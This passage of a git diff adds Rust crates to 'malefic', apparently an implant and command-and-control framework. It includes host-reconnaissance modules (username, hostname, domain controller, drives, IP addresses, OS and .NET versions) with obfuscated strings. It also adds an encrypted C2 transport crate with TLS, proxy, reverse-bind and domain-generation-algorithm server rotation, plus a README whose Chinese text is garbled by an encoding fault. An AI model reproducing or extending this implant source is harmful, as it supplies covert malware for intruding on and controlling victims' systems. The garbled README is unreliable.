Some(count) + } else { + None + } + }) +} + +pub fn uptime() -> u64 { + fs::read_to_string("/proc/uptime") + .ok() + .and_then(|content| { + content + .split_whitespace() + .next() + .and_then(|secs| secs.parse::().ok()) + .map(|secs| secs as u64) + }) + .unwrap_or(0) +} + +pub fn boot_time() -> u64 { + fs::read_to_string("/proc/stat") + .ok() + .and_then(|content| { + content + .lines() + .find(|line| line.starts_with("btime")) + .and_then(|line| { + line.split_whitespace() + .nth(1) + .and_then(|val| val.parse().ok()) + }) + }) + .unwrap_or(0) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_username() { + let result = username(); + assert!(result.is_some(), "Username should be retrievable"); + assert!(!result.unwrap().is_empty(), "Username should not be empty"); + } + + #[test] + fn test_hostname() { + let result = hostname(); + assert!(result.is_some(), "Hostname should be retrievable"); + assert!(!result.unwrap().is_empty(), "Hostname should not be empty"); + } + + #[test] + fn test_lang() { + println!("Current language: {:?}", lang()); + } + + #[test] + fn test_os_info() { + println!("OS Name: {:?}", name()); + println!("OS Version: {:?}", os_version()); + println!("Kernel Version: {:?}", kernel_version()); + println!("Long OS Version: {:?}", long_os_version()); + println!("Distribution ID: {}", distribution_id()); + println!("CPU Architecture: {:?}", cpu_arch()); + } + + #[test] + fn test_physical_core_count() { + println!("Physical Core Count: {:?}", physical_core_count()); + } + + #[test] + fn test_time_info() { + println!("Uptime: {}", uptime()); + println!("Boot Time: {}", boot_time()); + } +} diff --git a/malefic-crates/sysinfo/src/win/clr.rs b/malefic-crates/sysinfo/src/win/clr.rs new file mode 100644 index 0000000..1680355 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/clr.rs @@ -0,0 +1,3 @@ +pub fn clr_version() -> Vec { + malefic_os_win::kit::clr::display_installed_dotnet_version() +} diff --git a/malefic-crates/sysinfo/src/win/domain.rs b/malefic-crates/sysinfo/src/win/domain.rs new file mode 100644 index 0000000..8bc7e6e --- /dev/null +++ b/malefic-crates/sysinfo/src/win/domain.rs @@ -0,0 +1,49 @@ +use core::ptr::null_mut; +use windows::Win32::Foundation::ERROR_SUCCESS; +use windows::Win32::NetworkManagement::NetManagement::NetApiBufferFree; +use windows::Win32::Networking::ActiveDirectory::{ + DsGetDcNameW, DOMAIN_CONTROLLER_INFOW, DS_DIRECTORY_SERVICE_REQUIRED, DS_GC_SERVER_REQUIRED, + DS_RETURN_DNS_NAME, +}; + +pub fn get_domain() -> String { + let mut dc_info_ptr: *mut DOMAIN_CONTROLLER_INFOW = null_mut(); + let res = unsafe { + DsGetDcNameW( + None, + None, + None, + None, + DS_GC_SERVER_REQUIRED | DS_DIRECTORY_SERVICE_REQUIRED | DS_RETURN_DNS_NAME, + &mut dc_info_ptr as *mut _, + ) + }; + if res != ERROR_SUCCESS.0 || dc_info_ptr.is_null() { + return "".to_string(); + } + + // Safety check: Ensure DomainName is not null + if unsafe { (*dc_info_ptr).DomainName.0.is_null() } { + unsafe { + NetApiBufferFree(*dc_info_ptr.cast()); + } + return "".to_string(); + } + + let domain_name = unsafe { pwstr_to_str((*dc_info_ptr).DomainName.0) }; + unsafe { + NetApiBufferFree(*dc_info_ptr.cast()); + } + return domain_name.to_string(); +} + +pub(crate) fn pwstr_to_str(ptr: *const u16) -> String { + let mut len = 0; + unsafe { + while *(ptr.add(len)) != 0 { + len += 1; + } + } + let slice = unsafe { &*(std::ptr::slice_from_raw_parts(ptr, len)) }; + String::from_utf16_lossy(slice) +} diff --git a/malefic-crates/sysinfo/src/win/driver.rs b/malefic-crates/sysinfo/src/win/driver.rs new file mode 100644 index 0000000..bbed4c1 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/driver.rs @@ -0,0 +1,99 @@ +use std::ffi::OsString; +use std::os::windows::ffi::OsStringExt; + +use obfstr::obfstr; +use windows::core::PCWSTR; +use windows::Win32::Storage::FileSystem::{ + GetDriveTypeW, + GetLogicalDriveStringsW, + // DRIVE_CDROM, DRIVE_FIXED, DRIVE_NO_ROOT_DIR, DRIVE_RAMDISK, + // DRIVE_REMOTE, DRIVE_REMOVABLE, DRIVE_UNKNOWN, +}; +const DRIVE_UNKNOWN: u32 = 0; +const DRIVE_NO_ROOT_DIR: u32 = 1; +const DRIVE_REMOVABLE: u32 = 2; +const DRIVE_FIXED: u32 = 3; +const DRIVE_REMOTE: u32 = 4; +const DRIVE_CDROM: u32 = 5; +const DRIVE_RAMDISK: u32 = 6; + +pub fn enum_drivers() -> Vec<(String, String)> { + let mut drives = Vec::new(); + let mut buffer = vec![0u16; 256]; + + let len = unsafe { GetLogicalDriveStringsW(Some(&mut buffer)) as usize }; + + if len == 0 { + eprintln!("{}", obfstr!("[-] Failed to get logical drive strings.")); + return drives; + } + + let mut i = 0; + while i < len { + // Extract current drive letter (null-terminated wide character string) + let mut end = i; + while buffer[end] != 0 { + end += 1; + } + let slice = &buffer[i..end]; + let drive = OsString::from_wide(slice).to_string_lossy().to_string(); + + // Get drive type + let dtype = unsafe { GetDriveTypeW(PCWSTR(buffer.as_ptr().add(i))) }; + let dtype_str = match dtype { + DRIVE_UNKNOWN => obfstr!("Unknown").to_string(), + DRIVE_NO_ROOT_DIR => obfstr!("Invalid root path").to_string(), + DRIVE_REMOVABLE => obfstr!("Removable drive").to_string(), + DRIVE_FIXED => obfstr!("Fixed drive").to_string(), + DRIVE_REMOTE => obfstr!("Network drive").to_string(), + DRIVE_CDROM => obfstr!("CD-ROM drive").to_string(), + DRIVE_RAMDISK => obfstr!("RAM disk").to_string(), + _ => obfstr!("Other").to_string(), + }; + + drives.push((drive, dtype_str)); + + // Skip to next string + i = end + 1; + } + + drives +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_enum_drivers() { + let drives = enum_drivers(); + // Check returned drive name format + for (drive, drive_type) in &drives { + let valid_types = [ + obfstr!("Unknown"), + obfstr!("Invalid root path"), + obfstr!("Removable drive"), + obfstr!("Fixed drive"), + obfstr!("Network drive"), + obfstr!("CD-ROM drive"), + obfstr!("RAM disk"), + obfstr!("Other"), + ]; + } + println!("{}", obfstr!("Found drives:")); + for (drive, drive_type) in &drives { + println!(" {} -> {}", drive, drive_type); + } + } + + #[test] + fn test_drive_constants() { + assert_eq!(DRIVE_UNKNOWN, 0); + assert_eq!(DRIVE_NO_ROOT_DIR, 1); + assert_eq!(DRIVE_REMOVABLE, 2); + assert_eq!(DRIVE_FIXED, 3); + assert_eq!(DRIVE_REMOTE, 4); + assert_eq!(DRIVE_CDROM, 5); + assert_eq!(DRIVE_RAMDISK, 6); + } +} diff --git a/malefic-crates/sysinfo/src/win/ipconfig.rs b/malefic-crates/sysinfo/src/win/ipconfig.rs new file mode 100644 index 0000000..8d4d928 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/ipconfig.rs @@ -0,0 +1,121 @@ +use windows::Win32::Foundation::{ERROR_BUFFER_OVERFLOW, ERROR_SUCCESS}; +use windows::Win32::NetworkManagement::IpHelper::{ + GetAdaptersAddresses, GAA_FLAG_INCLUDE_GATEWAYS, GAA_FLAG_SKIP_DNS_SERVER, + GAA_FLAG_SKIP_FRIENDLY_NAME, GAA_FLAG_SKIP_MULTICAST, +}; +use windows::Win32::Networking::WinSock::{ + AF_INET, /* AF_INET6, */ SOCKADDR_IN, /* SOCKADDR_IN6 */ +}; +/// Get IPv4 addresses for all network adapters +/// Note: IPv6 addresses are currently commented out and not included in the result +pub fn get_ipv4_addresses() -> Vec { + let mut addresses = Vec::new(); + let mut buffer_size: u32 = 0; + + // First call to get the required buffer size + let result = unsafe { + GetAdaptersAddresses( + AF_INET.0 as u32, + GAA_FLAG_INCLUDE_GATEWAYS + | GAA_FLAG_SKIP_MULTICAST + | GAA_FLAG_SKIP_DNS_SERVER + | GAA_FLAG_SKIP_FRIENDLY_NAME, + None, + None, + &mut buffer_size, + ) + }; + + if result != ERROR_BUFFER_OVERFLOW.0 { + debug!("GetAdaptersAddresses first call failed: {}", result); + return addresses; + } + + // Allocate buffer + let mut buffer: Vec = vec![0; buffer_size as usize]; + let adapter_addresses = buffer.as_mut_ptr() + as *mut windows::Win32::NetworkManagement::IpHelper::IP_ADAPTER_ADDRESSES_LH; + + // Second call to get actual data + let result = unsafe { + GetAdaptersAddresses( + AF_INET.0 as u32, + GAA_FLAG_INCLUDE_GATEWAYS + | GAA_FLAG_SKIP_MULTICAST + | GAA_FLAG_SKIP_DNS_SERVER + | GAA_FLAG_SKIP_FRIENDLY_NAME, + None, + Some(adapter_addresses), + &mut buffer_size, + ) + }; + + if result != ERROR_SUCCESS.0 { + debug!("GetAdaptersAddresses second call failed: {}", result); + return addresses; + } + + // Iterate through all adapters + let mut current_adapter = adapter_addresses; + while !current_adapter.is_null() { + let adapter = unsafe { &*current_adapter }; + + // Iterate through all unicast addresses of current adapter + let mut current_unicast = adapter.FirstUnicastAddress; + while !current_unicast.is_null() { + let unicast = unsafe { &*current_unicast }; + + // Get IP address + if let Some(ip_str) = sockaddr_to_string(unicast.Address.lpSockaddr) { + addresses.push(ip_str); + } + + current_unicast = unicast.Next; + } + + current_adapter = adapter.Next; + } + + addresses +} + +/// Convert SOCKADDR to string format IP address +fn sockaddr_to_string( + sockaddr: *const windows::Win32::Networking::WinSock::SOCKADDR, +) -> Option { + if sockaddr.is_null() { + return None; + } + + unsafe { + let sa_family = (*sockaddr).sa_family; + match sa_family { + AF_INET => { + let sockaddr_in = sockaddr as *const SOCKADDR_IN; + let addr = (*sockaddr_in).sin_addr; + let ip_bytes = addr.S_un.S_addr.to_le_bytes(); + Some(format!( + "{}.{}.{}.{}", + ip_bytes[0], ip_bytes[1], ip_bytes[2], ip_bytes[3] + )) + } + // AF_INET6 => { + // let sockaddr_in6 = sockaddr as *const SOCKADDR_IN6; + // let addr = (*sockaddr_in6).sin6_addr; + // let ip_bytes = addr.u.Byte; + // // IPv6 address formatting (simplified, shows first 8 bytes) + // Some(format!("{:x}:{:x}:{:x}:{:x}:{:x}:{:x}:{:x}:{:x}", + // u16::from_be_bytes([ip_bytes[0], ip_bytes[1]]), + // u16::from_be_bytes([ip_bytes[2], ip_bytes[3]]), + // u16::from_be_bytes([ip_bytes[4], ip_bytes[5]]), + // u16::from_be_bytes([ip_bytes[6], ip_bytes[7]]), + // u16::from_be_bytes([ip_bytes[8], ip_bytes[9]]), + // u16::from_be_bytes([ip_bytes[10], ip_bytes[11]]), + // u16::from_be_bytes([ip_bytes[12], ip_bytes[13]]), + // u16::from_be_bytes([ip_bytes[14], ip_bytes[15]]) + // )) + // } + _ => None, + } + } +} diff --git a/malefic-crates/sysinfo/src/win/mod.rs b/malefic-crates/sysinfo/src/win/mod.rs new file mode 100644 index 0000000..e7c6e01 --- /dev/null +++ b/malefic-crates/sysinfo/src/win/mod.rs @@ -0,0 +1,6 @@ +#[cfg(feature = "clr")] +pub mod clr; +pub mod domain; +pub mod driver; +pub mod ipconfig; +pub mod whoami; diff --git a/malefic-crates/sysinfo/src/win/whoami.rs b/malefic-crates/sysinfo/src/win/whoami.rs new file mode 100644 index 0000000..ca824ff --- /dev/null +++ b/malefic-crates/sysinfo/src/win/whoami.rs @@ -0,0 +1,409 @@ +use std::ffi::{OsStr, OsString}; +use std::mem; +use std::os::windows::ffi::{OsStrExt, OsStringExt}; +use std::ptr; +use std::time::SystemTime; +use windows::core::{PCWSTR, PWSTR}; +use windows::Win32::Foundation; +use windows::Win32::System::Registry::{ + RegCloseKey, RegOpenKeyExW, RegQueryValueExW, HKEY, HKEY_LOCAL_MACHINE, KEY_READ, REG_NONE, +}; +use windows::Win32::System::SystemInformation::{ + self, ComputerNamePhysicalDnsHostname, GetComputerNameExW, GetSystemInfo, GetTickCount64, + SYSTEM_INFO, +}; +use windows::Win32::System::WindowsProgramming::GetUserNameW; + +#[repr(C)] +#[allow(non_snake_case)] +struct OSVERSIONINFOEXW { + dwOSVersionInfoSize: u32, + dwMajorVersion: u32, + dwMinorVersion: u32, + dwBuildNumber: u32, + dwPlatformId: u32, + szCSDVersion: [u16; 128], + wServicePackMajor: u16, + wServicePackMinor: u16, + wSuiteMask: u16, + wProductType: u8, + wReserved: u8, +} + +#[link(name = "ntdll")] +extern "system" { + fn RtlGetVersion(lpVersionInformation: *mut OSVERSIONINFOEXW) -> i32; +} + +#[link(name = "kernel32")] +extern "system" { + fn GetUserPreferredUILanguages( + dwFlags: u32, + pulNumLanguages: *mut u32, + pwszLanguagesBuffer: *mut u16, + pcchLanguagesBuffer: *mut u32, + ) -> i32; +} + +const WINDOWS_ELEVEN_BUILD_NUMBER: u32 = 22000; +const MUI_LANGUAGE_NAME: u32 = 0x8; + +pub fn username() -> Option { + let mut size = 0u32; + unsafe { + // First call gets the size + let _ = GetUserNameW(PWSTR::null(), &mut size); + if size == 0 { + return None; + } + + let mut buffer = vec![0u16; size as usize]; + if GetUserNameW(PWSTR::from_raw(buffer.as_mut_ptr()), &mut size).is_ok() { + if let Some(pos) = buffer.iter().position(|&c| c == 0) { + buffer.resize(pos, 0); + } + Some(OsString::from_wide(&buffer)) + } else { + None + } + } +} + +pub fn hostname() -> Option { + let mut size = 0u32; + unsafe { + let _ = GetComputerNameExW(ComputerNamePhysicalDnsHostname, PWSTR::null(), &mut size); + if size == 0 { + return None; + } + + let mut buffer = vec![0u16; size as usize]; + if GetComputerNameExW( + ComputerNamePhysicalDnsHostname, + PWSTR::from_raw(buffer.as_mut_ptr()), + &mut size, + ) + .is_ok() + { + if let Some(pos) = buffer.iter().position(|&c| c == 0) { + buffer.resize(pos, 0); + } + Some(OsString::from_wide(&buffer)) + } else { + None + } + } +} + +pub fn lang() -> Option { + unsafe { + let mut num_languages = 0u32; + let mut buffer_size = 0u32; + + // First call to get the required buffer size + if GetUserPreferredUILanguages( + MUI_LANGUAGE_NAME, + &mut num_languages, + ptr::null_mut(), + &mut buffer_size, + ) != 0 + { + let mut buffer = vec![0u16; buffer_size as usize]; + + // Second call to get the actual language list + if GetUserPreferredUILanguages( + MUI_LANGUAGE_NAME, + &mut num_languages, + buffer.as_mut_ptr(), + &mut buffer_size, + ) != 0 + { + // Remove trailing null characters + buffer.pop(); + buffer.pop(); + + // Combine multiple languages into a single string, separated by semicolons + return Some( + String::from_utf16_lossy(&buffer) + .split('\0') + .collect::>() + .join(";"), + ); + } + } + } + + // If Windows API call fails, try to get from environment variables + std::env::var("LANG") + .or_else(|_| std::env::var("LANGUAGE")) + .ok() +} + +pub fn name() -> Option { + Some("Windows".to_owned()) +} + +pub fn os_version() -> Option { + unsafe { + let mut version_info = OSVERSIONINFOEXW { + dwOSVersionInfoSize: mem::size_of::() as u32, + dwMajorVersion: 0, + dwMinorVersion: 0, + dwBuildNumber: 0, + dwPlatformId: 0, + szCSDVersion: [0; 128], + wServicePackMajor: 0, + wServicePackMinor: 0, + wSuiteMask: 0, + wProductType: 0, + wReserved: 0, + }; + + if RtlGetVersion(&mut version_info) == 0 { + let major = if version_info.dwBuildNumber >= WINDOWS_ELEVEN_BUILD_NUMBER { + 11 + } else { + version_info.dwMajorVersion + }; + return Some(major.to_string()); + } + } + + // If API call fails, use registry as fallback + let major = if is_windows_eleven() { + 11u32 + } else { + u32::from_le_bytes( + get_reg_value_u32( + HKEY_LOCAL_MACHINE, + r"SOFTWARE\Microsoft\Windows NT\CurrentVersion", + "CurrentMajorVersionNumber", + ) + .unwrap_or_default(), + ) + }; + Some(major.to_string()) +} + +pub fn kernel_version() -> Option { + get_reg_string_value( + HKEY_LOCAL_MACHINE, + r"SOFTWARE\Microsoft\Windows NT\CurrentVersion", + "CurrentBuildNumber", + ) +} + +pub fn long_os_version() -> Option { + if is_windows_eleven() { + get_reg_string_value( + HKEY_LOCAL_MACHINE, + r"SOFTWARE\Microsoft\Windows NT\CurrentVersion", + "ProductName", + ) + .map(|product_name| product_name.replace("Windows 10 ", "Windows 11 ")) + } else { + get_reg_string_value( + HKEY_LOCAL_MACHINE, + r"SOFTWARE\Microsoft\Windows NT\CurrentVersion", + "ProductName", + ) + } +} + +pub fn distribution_id() -> String { + std::env::consts::OS.to_owned() +} + +pub fn cpu_arch() -> Option { + unsafe { + let mut info = SYSTEM_INFO::default(); + GetSystemInfo(&mut info); + match info.Anonymous.Anonymous.wProcessorArchitecture { + SystemInformation::PROCESSOR_ARCHITECTURE_ALPHA => Some("alpha".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_ALPHA64 => Some("alpha64".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_AMD64 => Some("x86_64".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_ARM => Some("arm".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_ARM32_ON_WIN64 => Some("arm".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_ARM64 => Some("arm64".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_IA32_ON_ARM64 + | SystemInformation::PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 => Some("ia32".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_IA64 => Some("ia64".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_INTEL => Some("x86".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_MIPS => Some("mips".to_string()), + SystemInformation::PROCESSOR_ARCHITECTURE_PPC => Some("powerpc".to_string()), + _ => None, + } + } +} + +pub fn physical_core_count() -> Option { + unsafe { + let mut info = SYSTEM_INFO::default(); + GetSystemInfo(&mut info); + Some(info.dwNumberOfProcessors as usize) + } +} + +pub fn uptime() -> u64 { + unsafe { GetTickCount64() / 1_000 } +} + +pub fn boot_time() -> u64 { + match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) { + Ok(n) => { + let system_time_ns = n.as_nanos(); + let tick_count_ns = unsafe { GetTickCount64() } as u128 * 1_000_000; + let boot_time_sec = system_time_ns.saturating_sub(tick_count_ns) / 1_000_000_000; + boot_time_sec.try_into().unwrap_or(u64::MAX) + } + Err(_) => 0, + } +} + +fn is_windows_eleven() -> bool { + WINDOWS_ELEVEN_BUILD_NUMBER <= kernel_version().unwrap_or_default().parse().unwrap_or(0) +} + +fn utf16_str + ?Sized>(text: &S) -> Vec { + OsStr::new(text) + .encode_wide() + .chain(Some(0)) + .collect::>() +} + +struct RegKey(HKEY); + +impl RegKey { + unsafe fn open(hkey: HKEY, path: &[u16]) -> Option { + let mut new_hkey = HKEY::default(); + if RegOpenKeyExW( + hkey, + PCWSTR::from_raw(path.as_ptr()), + 0, + KEY_READ, + &mut new_hkey, + ) + .is_err() + { + return None; + } + Some(Self(new_hkey)) + } + + unsafe fn get_value( + &self, + field_name: &[u16], + buf: &mut [u8], + buf_len: &mut u32, + ) -> windows::core::Result<()> { + let mut buf_type = REG_NONE; + + RegQueryValueExW( + self.0, + PCWSTR::from_raw(field_name.as_ptr()), + None, + Some(&mut buf_type), + Some(buf.as_mut_ptr()), + Some(buf_len), + ) + .ok() + } +} + +impl Drop for RegKey { + fn drop(&mut self) { + let _err = unsafe { RegCloseKey(self.0) }; + } +} + +fn get_reg_string_value(hkey: HKEY, path: &str, field_name: &str) -> Option { + let c_path = utf16_str(path); + let c_field_name = utf16_str(field_name); + + unsafe { + let new_key = RegKey::open(hkey, &c_path)?; + let mut buf_len: u32 = 2048; + let mut buf: Vec = Vec::with_capacity(buf_len as usize); + + loop { + match new_key.get_value(&c_field_name, &mut buf, &mut buf_len) { + Ok(()) => break, + Err(err) if err.code() == Foundation::ERROR_MORE_DATA.to_hresult() => { + buf.set_len(buf.capacity()); + buf.reserve(buf_len as _); + } + _ => return None, + } + } + + buf.set_len(buf_len as _); + + let words = std::slice::from_raw_parts(buf.as_ptr() as *const u16, buf.len() / 2); + let mut s = String::from_utf16_lossy(words); + while s.ends_with('\u{0}') { + s.pop(); + } + Some(s) + } +} + +fn get_reg_value_u32(hkey: HKEY, path: &str, field_name: &str) -> Option<[u8; 4]> { + let c_path = utf16_str(path); + let c_field_name = utf16_str(field_name); + + unsafe { + let new_key = RegKey::open(hkey, &c_path)?; + let mut buf_len: u32 = 4; + let mut buf = [0u8; 4]; + + new_key + .get_value(&c_field_name, &mut buf, &mut buf_len) + .map(|_| buf) + .ok() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_username() { + let result = username(); + assert!(result.is_some(), "Username should be retrievable"); + assert!(!result.unwrap().is_empty(), "Username should not be empty"); + } + + #[test] + fn test_hostname() { + let result = hostname(); + assert!(result.is_some(), "Hostname should be retrievable"); + assert!(!result.unwrap().is_empty(), "Hostname should not be empty"); + } + + #[test] + fn test_lang() { + println!("Current language: {:?}", lang()); + } + + #[test] + fn test_os_info() { + println!("OS Name: {:?}", name()); + println!("OS Version: {:?}", os_version()); + println!("Kernel Version: {:?}", kernel_version()); + println!("Long OS Version: {:?}", long_os_version()); + println!("Distribution ID: {}", distribution_id()); + println!("CPU Architecture: {:?}", cpu_arch()); + } + + #[test] + fn test_physical_core_count() { + println!("Physical Core Count: {:?}", physical_core_count()); + } + + #[test] + fn test_time_info() { + println!("Uptime: {}", uptime()); + println!("Boot Time: {}", boot_time()); + } +} diff --git a/malefic-crates/transport/Cargo.toml b/malefic-crates/transport/Cargo.toml new file mode 100644 index 0000000..01b9d55 --- /dev/null +++ b/malefic-crates/transport/Cargo.toml @@ -0,0 +1,68 @@ +[package] +name = "malefic-transport" +version = "0.1.0" +edition = "2021" + +[features] +default = ["transport_tcp", "tls_rustls"] +bind = [] +tcp = [] +tls_rustls = ["futures-rustls", "rustls", "rustls-pemfile", "webpki-roots"] +tls_native = ["async-native-tls"] +tls = ["tls_rustls"] +mtls = ["tls_rustls"] +proxy = ["httparse", "url"] +dga = ["malefic-dga"] +transport_http = ["httparse", "tcp"] +transport_tcp = ["tcp"] +transport_rem = ["malefic-rem/rem", "malefic-rem/rem_static", "dep:md-5"] + +# Runtime (needed for spawn) +async-std = ["malefic-common/async-std"] +tokio = ["malefic-common/tokio"] +smol = ["malefic-common/smol"] + +[dependencies] +cfg-if = { workspace = true } +async-trait = { workspace = true } +async-net = { workspace = true } +futures = { workspace = true } +futures-timer = { workspace = true } +anyhow = { workspace = true } +thiserror = { workspace = true } +base64 = { workspace = true } + +httparse = { version = "1.8", optional = true } + +# tls (rustls backend) +futures-rustls = { version = "0.26", optional = true } +rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"], optional = true } +rustls-pemfile = { version = "2", optional = true } +webpki-roots = { version = "0.26", optional = true } + +# tls (native backend) +async-native-tls = { version = "0.5", optional = true } + +# proxy +url = { workspace = true, optional = true } + +# md5 for rem session id (reuses existing digest crate) +md-5 = { version = "0.10", optional = true } + +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } +malefic-proto = { workspace = true } +malefic-crypto = { workspace = true, default-features = true } +malefic-config = { workspace = true } +malefic-rem = { workspace = true, optional = true } +malefic-dga = { workspace = true, optional = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time", "sync"] } +# E2E test server needs these crates directly +rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } +rustls-pemfile = "2" +futures-rustls = "0.26" +async-net = { workspace = true } +futures = { workspace = true } +malefic-config = { workspace = true } diff --git a/malefic-crates/transport/README.md b/malefic-crates/transport/README.md new file mode 100644 index 0000000..47d8ecc --- /dev/null +++ b/malefic-crates/transport/README.md @@ -0,0 +1,86 @@ +# malefic-transport + +多å议异步网络传输层,æä¾› TCPã€HTTPã€REM 等传输å议的统一抽象接å£ã€‚ + +## 功能简介 + +- **多å议支æŒ**:通过 feature åˆ‡æ¢ TCP / HTTP / REM 传输åŽç«¯ï¼Œç¼–译期选择,零è¿è¡Œæ—¶å¼€é”€ +- **TLS / mTLS**:基于 rustls 实现 TLS 1.2/1.3 加密传输,支æŒè‡ªç­¾åè¯ä¹¦å’ŒåŒå‘认è¯ï¼ˆmTLS) +- **ä»£ç†æ”¯æŒ**:内置 HTTP CONNECT å’Œ SOCKS5 代ç†å®¢æˆ·ç«¯ï¼Œæ”¯æŒé…ç½®ã€çŽ¯å¢ƒå˜é‡å’Œç¼–译期三ç§ä»£ç†æº +- **加密会è¯**:Session 层集æˆå¯¹ç§°åŠ å¯†ï¼Œè‡ªåŠ¨å®Œæˆæ•°æ®çš„分帧ã€åŠ è§£å¯†å’Œè¶…æ—¶æŽ§åˆ¶ +- **连接管ç†**:ConnectionBuilder æ¨¡å¼æž„建连接,支æŒè¯»å†™åˆ†ç¦»å’Œ Heartbeat / Duplex åŒå·¥æ¨¡å¼åˆ‡æ¢ +- **æœåŠ¡ç«¯è½®è½¬**:ServerManager 支æŒå¤šç›®æ ‡è‡ªåŠ¨åˆ‡æ¢ã€å¤±è´¥é‡è¯•å’Œå¯é€‰çš„ DGA 域åç”Ÿæˆ +- **åå‘绑定**:`bind` feature å¯ç”¨ TCP 监å¬ç«¯ï¼Œæ”¯æŒåå‘连接场景 + +## Features + +| Feature | 说明 | +|---------|------| +| `transport_tcp` | TCP 传输åŽç«¯ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `transport_http` | HTTP 传输åŽç«¯ï¼ŒåŸºäºŽ TCP å°è£… HTTP 请求/å“应 | +| `transport_rem` | REM 内存传输åŽç«¯ï¼Œé€šè¿‡å…±äº«å†…存通信 | +| `tcp` | 底层 TCP 连接能力 | +| `tls` | å¯ç”¨ TLS 加密(rustls) | +| `mtls` | å¯ç”¨åŒå‘ TLS 认è¯ï¼ˆä¾èµ– `tls`) | +| `proxy` | å¯ç”¨ HTTP / SOCKS5 ä»£ç†æ”¯æŒ | +| `bind` | å¯ç”¨ TCP 监å¬ç»‘定(åå‘连接) | +| `dga` | å¯ç”¨åŸŸå生æˆç®—法(DGA)自动生æˆç›®æ ‡åœ°å€ | +| `tokio` | 使用 tokio 异步è¿è¡Œæ—¶ï¼ˆé»˜è®¤å¯ç”¨ï¼‰ | +| `async-std` | 使用 async-std 异步è¿è¡Œæ—¶ | +| `smol` | 使用 smol 异步è¿è¡Œæ—¶ | + +## 基本用法 + +```rust +use malefic_transport::{ + Client, ConnectionBuilder, ConnectionRunner, SessionConfig, +}; +use malefic_transport::DialerExt; +use malefic_crypto::crypto::new_cryptor; +use std::time::Duration; + +// 1. 创建传输客户端并连接 +let mut client = Client::new()?; +let transport = client.connect(&server_config).await?; + +// 2. 通过 Builder 构建加密连接 +let connection = ConnectionBuilder::new(transport) + .with_cryptor(new_cryptor(key, iv)) + .with_session_id([0x01, 0x02, 0x03, 0x04]) + .with_config(SessionConfig { + read_chunk_size: 8 * 1024, + deadline: Duration::from_secs(5), + }) + .build()?; + +// 3. 使用 ConnectionRunner 进行通信 +let mut runner = ConnectionRunner::new(connection); + +// Heartbeat 模å¼ï¼šé˜»å¡žå¼æ”¶å‘ +runner.send(spites).await?; +let response = runner.receive().await?; + +// å‡çº§ä¸º Duplex 模å¼ï¼šåŽå°å¼‚步接收 +runner.upgrade()?; +runner.send(spites).await?; +let msg = runner.try_receive()?; // éžé˜»å¡žæŽ¥æ”¶ + +// é™çº§å›ž Heartbeat æ¨¡å¼ +runner.downgrade().await?; +``` + +## 核心类型 + +| 类型 | 说明 | +|------|------| +| `Client` | 传输åè®®å®¢æˆ·ç«¯ï¼Œæ ¹æ® feature 自动选择 TCP/HTTP/REM | +| `Session` | 加密会è¯ï¼Œè´Ÿè´£æ•°æ®åˆ†å¸§ã€åŠ è§£å¯†å’Œè¶…æ—¶ | +| `Connection` | é«˜å±‚è¿žæŽ¥ï¼Œæ”¯æŒ exchange 和读写分离 | +| `ConnectionRunner` | 连接è¿è¡Œå™¨ï¼Œç®¡ç† Heartbeat / Duplex 模å¼åˆ‡æ¢ | +| `ServerManager` | 多æœåŠ¡ç«¯ç®¡ç†å™¨ï¼Œå¤„ç†è½®è½¬ã€é‡è¯•å’Œ DGA | + +## å‚考链接 + +- [rustls](https://github.com/rustls/rustls) - Rust TLS 实现 +- [async-tls](https://github.com/async-rs/async-tls) - 异步 TLS å°è£… +- [futures](https://github.com/rust-lang/futures-rs) - Rust 异步基础库 diff --git a/malefic-crates/transport/src/connection.rs b/malefic-crates/transport/src/connection.rs new file mode 100644 index 0000000..ba0eb1c --- /dev/null +++ b/malefic-crates/transport/src/connection.rs @@ -0,0 +1,243 @@ +use std::time::Duration; + +use futures::{join, FutureExt}; +use futures_timer::Delay; + +use malefic_proto::marshal; +use malefic_proto::proto::implantpb::Spites; + +use crate::session::{Session, SessionConfig, SessionReader, SessionWriter}; +use crate::{InnerTransport, TransportError}; +use malefic_crypto::crypto::Cryptor; + +pub struct Connection { + session: Session, + session_id: [u8; 4], + encrypt_key: Option, + decrypt_key: Option, + deadline: Duration, +} + +impl Connection { + pub fn new( + transport: InnerTransport, + cryptor: Cryptor, + session_id: [u8; 4], + encrypt_key: Option<&str>, + decrypt_key: Option<&str>, + config: SessionConfig, + ) -> Self { + let deadline = config.deadline; + let session = Session::new(transport, cryptor, config); + Self { + session, + session_id, + encrypt_key: encrypt_key.map(|s| s.to_string()), + decrypt_key: decrypt_key.map(|s| s.to_string()), + deadline, + } + } + + pub async fn exchange(mut self, spites: Spites) -> Result, TransportError> { + self.session.reset_cryptor(); + + let spite_data = marshal(self.session_id, spites, self.encrypt_key.as_deref()) + .map_err(TransportError::ParserError)?; + + let (mut reader, mut writer) = self.session.split(); + let decrypt_key = self.decrypt_key; + + let exchange_task = async { + let send_task = writer.write(&spite_data).fuse(); + let recv_task = async { + loop { + match reader.read().await { + Ok(Some(received_data)) => return Ok(received_data), + Ok(None) => continue, + Err(e) => return Err(e), + } + } + } + .fuse(); + let (recv_result, send_result) = join!(recv_task, send_task); + let _ = writer.close().await; + send_result?; + + match recv_result { + Ok(received_data) => { + let spites = received_data + .parse(decrypt_key.as_deref()) + 